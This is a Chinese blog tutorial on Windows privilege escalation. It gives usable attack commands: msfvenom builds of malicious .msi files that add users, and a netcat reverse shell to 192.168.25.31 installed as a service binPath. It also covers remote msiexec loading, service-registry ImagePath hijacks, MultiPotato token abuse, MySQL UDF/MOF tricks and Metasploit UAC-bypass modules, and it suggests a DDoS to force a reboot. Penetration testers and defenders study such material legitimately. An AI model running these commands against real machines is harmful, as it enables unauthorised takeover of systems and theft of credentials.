Windows提权基础

前置基础

提权条件提权不是在任何情况下都可以进行的,它有一定的前置条件,例如拥有内网普通用户权限、拥有WebShell、拥有FTP权限、拥有某些远程管理软件的账号和密码等,同时在本地或者远程服务器上存在相应的漏洞。当然,最重要的条件是拥有利用该漏洞的工具、代码或者程序!

基础信息查询

  • • Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权
  • • Power Users:高级用户组Power Users可以执行除了为Administrators组保留的任务外的其他任何操作系统任务
  • • Users:普通用户组,这个组的用户无法进行有意或无意的改动
  • • Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
  • • Everyone:所有的用户,这个计算机上的所有用户都属于这个组

提权名称解释

注册表注册表(Registry,繁体中文版Windows操作系统称之为登录档案)是Microsoft   Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。其中存放着各种参数,直接控制着Windows的启动、硬件驱动程序的装载以及一些Windows应用程序的运行,从而在整个系统中起着核心作用。这些作用包括了软、硬件的相关配置和状态信息,比如注册表中保存有应用程序和资源管理器外壳的初始条件、首选项和卸载数据等,联网计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联,硬件部件的描述、状态和属性,性能记录和其他底层的系统状态信息,以及其他数据等。计划任务计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行;攻击者可以通过计划任务程序来运行准备好的恶意脚本、批处理文件夹、病毒程序、payload命令,使其在某个特定的时间运行,达到系统提权的目的。组策略Windows  2008  Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

基础信息查询命令

#主机名
hostname
#查看系统名
wmic os get caption  
#查看系统信息
systeminfo
#环境变量
set           
#查看用户信息
net user 
#查看当前安装程序
wmic product get name,version   
#查看正在运行的进程列表
tasklist /svc | find "TermService"
#查看服务PID
netstat -and | find "1448"  
#查看具体补丁信息
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KBxxxxx" /C:"KBxxxxx" 

查看目标重要配置命令

#查看系统版本
C:boot.ini
#IIS配置文件
C:WindowsSystem32inetsrvMetaBase.xml
#存储系统初次安装的密码
C:Windowsrepairsam 
#Mysql配置
C:Program Filesmysqlmy.ini
#Mysql root
C:Program Filesmysqldatamysqluser.MYD    
#php配置信息
C:Windowsphp.ini
#Mysql配置信息
C:Windowsmy.ini  
#Windows系统的一个基本系统配置文件
C:Windowswin.ini    

Windows提权

内核提权

1.Win账号和密码的获取与破解Windows账号和密码的获取主要针对获取了系统权限的情况,例如目标端口开放3389的情况;还有一种情况,就是通过提权0day执行其他可执行程序2.通过执行wce-w命令(Windows Credientials Editor)直接获取系统登录过的账号明文。Windows  Credentials Editor  (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据(例如LM/NTHash)。这些功能在内网渗透中能够被利用,例如,在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM  Hash  (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。本地存储的凭证是否有可利用的cmdkey /list查询当前存储的凭证;以存储凭证的用户执行命令runas /savecred /user:JIUSHI-PCjiushi ""查看目标补丁//获取补丁信息
systeminfo或者systeminfo | findstr KB
Wmic qfe get Caption,Description,HotFixID,InstalledOn
//获取系统版本信息
systeminfo | findstr OS

  • • windows exploit suggester(GitHub项目链接)
  • • powershell中的sherlock脚本(GitHub项目链接)
  • • 在线辅助查询补丁特征&&杀毒软件识别网站(网站链接)

数据库提权

攻击者可以通过SQL注入数据库获取数据库账号密码后,可以查看数据库配置文件(data、sql、inc、config、conn、database…..)和数据库安装文件(安装目录下data/mysql/user.myd)frm:描述表结构文件,字段长度myi:索引信息myd:数据库信息文件,存储数据信息

图片[1]-Windows提权基础-小蔡博客

Mysql数据库udf提权

提权原理:已知root账号和密码,利用root权限创建可以调用cmd函数的udf.dll,当我们把udf.dll文件导出指定文件夹引入数据库的时候,其中的调用函数可以拿出来当作mysql函数来使用udf文件:udf(即user-defined-function)是数据库的一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能(udf文件后缀名: .dll(windows)linux后缀名:.so)提权条件:Mysql版本<5.1版本的情况:udf.dll文件在Windows2003中放在:c:windowssystem32,在Windows2000中放在:c:winntsystem32。Mysql版本>5.1版本的情况:udf.dll文件必须放置在数据库安装目录下的libplugin(但是大于5.1版本的时候没有plugin这个文件夹,需要攻击者自己创建)

Mysql数据库反射端口提权

  • • 获取数据库的账号和密码,同时能够执行查询命令
  • • secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin
  • • 授权Mysql数据库远程用户的登录

Mysql数据库启动项提权

提权原理:使用mysql写文件,写一段vbs代码到开启自启动中;服务器重启的时候达到创建用户并提取(为了达到效果,可以尝试使用DDOS攻击迫使服务器重启)!提权条件

  • • secure_file_priv不为null
  • • 已知账号和密码

Mysql数据库mof提权

提权原理:mof文件是Mysql数据库的扩展文件,其存放路径c:/windows/system32/wbem/mof/nullevt.mof(它的作用是每隔5秒就会去监控进程创建和死亡),它就是利用了c:/windows/system32/wbem/mof目录中的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行(有点像条件竞争)。提权条件:

  • • Windows2003及以下版本
  • • secure-file-priv=不为null
  • • mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录

SQLServer数据库xp_cmdshell提权

提权原理:xp_cmdshell是sqlserver中的组件,可以以操作系统命令解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。可以用来执行系统命令提权条件:默认在sql server2000中是开启的,可以直接利用!默认在sqlserver2005之后的版本默认禁止,但是如果我们有sa权限,可以用命令开启!

权限问题导致提权

计划任务提权

如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权攻击。at命令计划任务提权

at 17:51 cmd.exe

使用at的已经计划的命令作为后台程序运行。但是只适用于win7和winsrver2008,而且需要管理员权限才可以,成功执行。)所以个人感觉没有太大用处,你都可以使用Admin权限了,再用at去提权没有意义了。

图片[2]-Windows提权基础-小蔡博客

schtasks 命令查看服务状态

schtasks /Query /TN MyService2

有时候会报错无法加载列资源, 这是由于cmd编码是gbk导致的, 调整为美国编码 (此时无法打印非Ascii字符) 即可。创建服务, 以 system 权限启动

schtasks /Create /TN MyService2 /SC DAILY /ST 10:00:00 /TR cmd.exe /RU SYSTEM

删除服务

schtasks /Delete /TN MyService2 /F

注意:该命令支持win7到win10, 借助工具才能看到 !

图片[3]-Windows提权基础-小蔡博客

SC提权SC命令是Windows系统中功能强大的DOS命令,它能与”服务控制器”和已安装设备进行通讯;主要用于与服务控制管理器和服务进行通信的命令行程序。sc Create MyService binPath= "cmd /c start" type= own type= interact
sc start MyService

图片[4]-Windows提权基础-小蔡博客

注:该提权方法可以在XP系统环境下直接提权,Win7环境中需要将EnableLUA的值改为0,最后重启电脑,再次执行.bat文件(文件下载地址),后点击查看消息即可。

图片[5]-Windows提权基础-小蔡博客

注册表提权

注册表键AlwaysInstallElevated提权AlwaysInstallElevated是一项功能,可为Windows计算机上的所有用户(尤其是低特权用户)提供运行任何具有高权限的MSI文件的功能。MSI是基于Microsoft的安装程序软件包文件格式,用于安装、存储、删除程序。通过组策略中的windows  installer来进行配置,默认情况下该配置是关闭的。使用Perfusion注册表提权工具进行windows提权:版本范围是在Win7、Win8、Winserver08R2、Winserver12该工具(GitHub项目链接)利用RpcEptMapper和DnsCache(仅7/08R2)服务的注册表项配置了弱权限,可对此进行攻击,获取权限!利用步骤,首先git clone一份未编译的文件,对其进行编译,最后使用Perfusion.exe -c cmd -i命令进行提权。情况如下所示:

图片[6]-Windows提权基础-小蔡博客

我们可以通过左右的对比看见提权失败了;原因是我们需要开启AlwaysInstallElevated的权限(激活路径:计算机设置管理模版windows组件windows installer)。

图片[7]-Windows提权基础-小蔡博客

通过reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated命令探查注册表项或值是否存在。

图片[8]-Windows提权基础-小蔡博客

但是过于麻烦,我们可以通过注册表或者cmd命令行完成该操作;由于需要下面的权限

  • • SeRestorePrivilege
  • • SeTakeOwnershipPrivilege
图片[9]-Windows提权基础-小蔡博客

详细情况可以参考Win系统的九大权限所以可以先用whoami /priv命令进行探查!最后使用如下命令修改即可:reg add HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
注册表键AlwaysInstallElevated搭配.msi文件提权Advanced Installe伪造msiexec执行.msi文件提权系统进程是Windows  Installer的一部分, 用于安装Windows update更新和Windows  Installer安装包,后者即上面提到的.msi格式安装包。我们可以使用命令运行msiexec伪造并执行.mis文件,获取Admin权限,从而达到提权的目的。#隐藏界面安装
msiexec /q /i xxx.msi 
#远程加载安装
msiexec /q /i http://192.168.101.146/test.msi    (文件后缀名可以不为.msi) 
Advanced Installer(下载链接)是关于.msi文件安装包的制作工具,也可以用来制作该文件。使用MSF模块生成msi文件提权由于大部分时间我们是用msf后渗透模块对目标网站进行渗透,所以msf是我们经常需要用到的测试平台,因此我们可以使用msfvenom,生成.msi文件(这要比第一种方法好很多)并执行。利用步骤,首先我们需要执行命令,获得AlwaysInstallElevated权限,然后利用msfvenom生成含有payload的.msi文件,最后使用msiexec执行即可。情况如下图所示:(我们可以跳过第一步)。#生成恶意.msi文件
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
#执行恶意文件
msiexec /quiet /qn /i .msi文件路径
#实战情况
msf create msi:msfvenom -p windows/x64/exec cmd=calc.exe -f msi -o test.msi
#msiexec install
msiexec /quiet /qn /i <msi.path> 
#反之uninstall msi
msiexec /quiet /uninstall <msi.path>

图片[10]-Windows提权基础-小蔡博客
图片[11]-Windows提权基础-小蔡博客

注册表SeImpersonatePrivilege提权我们可以使用MultiPotato.exe(GitHub下载连接),来达到我们提权的目的。#调用工具的CreateUser创建用户
MultiPotato.exe -t CreateUser
#MultiPotato将会监听命名管道“.pipepwned/pipe/srvsvc”;我们也可以通过-p选项来调整参数并使用其他的SYSTEM认证触发器
PetitPotamModified.exe localhost/pipe/pwned localhost
#使用SpoolSample触发器调用CreateProcessAsUserW
MultiPotato.exe -t CreateProcessAsUserW -p "pwnedpipespoolss" -e "C:tempstage2.exe"
MS-RPRN.exe \192.168.100.150 \192.168.100.150/pipe/pwned
#BindShell(SpoolSample管道)
MultiPotato.exe -t BindShell -p "pwnedpipespoolss"
不仅可以使用CreateProcessWithTokenW来生成一个新的进程,而且我们还可以使用CreateProcessWithTokenW、CreateProcessAsUserW、CreateUser和BindShell来实现类似的效果。不安全的注册表权限配置提权在Win系统环境中,与Windows服务有关的信息存储在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中。服务对应的程序路径存储在HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service服务名ImagePath。如果低权限用户对这个键值有写权限,攻击者就可以通过控制这个服务,远程运行目标程序,获取最高权限,达到提权的目的。利用步骤,首先我们需要检测服务的注册表路径是否有写权限,接着对目标权限进行写入攻击,并执行。这个时候,我们就可以考虑微软自带的subinacl.exe(下载地址)工具就可以了,减少了被发现的概率。https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service服务名" /display
最后,因为我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序:reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f

组策略提权

SYSVOL漏洞SYSVOL是AD(活动目录)里面存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取;SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。组策略偏好GPPWinsever08发布了GPP(即,Group  Policy  Preferences)其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码;目标为方便对所有机器进行操作,会使用域策略进行统一的配置和管理,因此所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。利用步骤,我们可以通过PowerSploit框架(GitHub下载链接)中的Get-GPPPassword模块,去进行攻击验证。

错误系统配置提权

系统服务权限配置错误提权

Microsoft   Windows服务(即以前的NT服务)能够创建可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。这种服务常常被服务器使用,又因为不能影响在同一台计算机上工作的其他用户,需要不间断运行功能时使用。Windows   Services通常使用本地系统账户启动。如果我们拥有可以修改服务配置权限的话,可以将服务启动的二进制文件替换成恶意的二进制文件,重新启动服务后执行恶意的二进制文件,可以获取到system权限。系统服务权限配置错误(可写目录漏洞)有如下两种可能:

  • • 服务未运行:攻击者会使用任意服务来替换原来的服务,然后重启服务。
  • • 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用情景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。

为了提高我们的工作效率,我们可以通过执行脚本或者程序,来帮助我们检测目标是否存在错误的权限配置。下面就给大家介绍两款非常实用的工具:Powerup(GitHub下载链接)和Metasploit中的攻击模块exploit/windows/local/service_permissions进行提权检测。#使用命令行查找
powershell.exe -exec bypass -Command "&{Import-Module .PowerUp.ps1; Invoke-AllChecks}"

图片[12]-Windows提权基础-小蔡博客

如果存在漏洞,接下来我们通过Netcat上传恶意可执行文件(cs或msf生成的任意可执行文件) ,此处有一个小坑,binPath=和路径中间有一个空格,修改服务启动的可执行程序后,启动服务。

  • • 停止USOSVC 服务:PS C:Windowssystem32> sc stop UsoSvc
  • • 将服务执行的exe文件修改为nc,反弹shell:PS  C:Windowssystem32> sc config usosvc binPath=  “C:GitStackgitphpnc.exe 192.168.25.31 4455 -e cmd.exe”
  • • 将服务状态设置为自动启动:PS C:Windowssystem32> sc config usosvc start=auto
  • • 启动服务:PS C:Windowssystem32> sc start usosvc

注:Windows系统提供了非常实用的schtasks.exe工具,它使系统管理员能够在特定的时间,以特定的NT   AuthoritySystem高权限执行,执行特定的程序或脚本。攻击者可以利用低权限用户对计划任务所在目录有读写的权限(需要错误配置,让此目录下其他用户可写)替换计划任务所执行的脚本或程序,获取高权限。

可信任服务漏洞提权

Trusted Service Paths(可信任服务路径)提权windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。例如,有如下的文件路径:

C:Program FilesSome FolderService.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:Program.exeC:Program FilesSome.exeC:Program FilesSome FolderService.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。#wmi查找含有漏洞的服务命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr/i /v """
#查看指定目录的权限配置情况(路径可以自定义)
accesschk.exe -dqv "C:tool" -accepteula
#PowerUp脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .PowerUp.ps1; Invoke-AllChecks}"

图片[13]-Windows提权基础-小蔡博客

DLL注入提权DLL注入提权是一种利用应用程序错误加载DLL的技术。可以使用此技术来实现提权以及持久控制。DLL是动态链接库,它是一个库文件,其中包含可被多个应用程序同时动态访问和使用的代码和数据。原理:简单来说,就是在目标进程中开辟一块堆空间,用于存储DLL的路径,之后使用CreateRemoteThread在目标进程中开启远程线程。步骤:

  1. 1. 获取目标进程PID
  2. 2. 提升Dropper进程权限
  3. 3. 打开目标进程
  4. 4. 在目标进程内开辟缓冲区,用来存储DLL的路径
  5. 5. 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址
  6. 6. 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL

为了规避检测,我们可以使用反射型DLL注入,达到我们的目的。反射型DLL注入与其他DLL注入不同的是,其不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数的功能就是装载它自身。由于是自己实现,因此不会利用系统自身Loadlibrary,不会“注册”到系统,不会被系统记录。也不会被ProcessExplorerer发现。步骤:

  1. 1. 读入原始DLL文件至内存缓冲区
  2. 2. 解析DLL标头并获取SizeOfImage
  3. 3. 将DLL标头和PE节复制到分配的内存空间
  4. 4. 执行重定位
  5. 5. 加载DLL导入的库
  6. 6. 解析导入地址表(IAT)
  7. 7. 调用DLL的DLL_PROCESS_ATTACH

绕过UAC提权

用户账户控制(UAC)是Win10操作系统中非常重要的安全功能,它的各种功能策略得到了完善的修订和开发,应用在win10操作系统中,目的是减少恶意软件对系统的侵害(比如大部分的恶意软件、木马病毒、广告插件在进入计算机是都会有如下操作:文件复制到到windows目录,安装驱动,安装activex等操作)。操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则;执行的时候就需要权限,否则是不会运行的。能够触发UAC规则的常用操作包括:运行应用程序修改注册表文件安装或者卸载程序安装设备驱动程序增加或者删除用户账户复制文件到windows目录。攻击者可以操作以上内容故意就会触发UAC规则,导致系统会弹出提示对话框后,利用弹出对话框操作就是临时提升用户权限这一条规则,执行高权限命令,达到提权的目的。使用MSF的UAC模块提权#弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/ask
#此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell
exploit/windows/local/bypassuac  
#此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()
exploit/windows/local/bypassuac_injection 
#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_fodhelper
#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_eventvwr
#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行
exploit/windows/local/bypassuac_comhijack
使用CS的UAC插件提权#cs
uac-dll
Invoke-PsUACme
uac-token-duplication

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片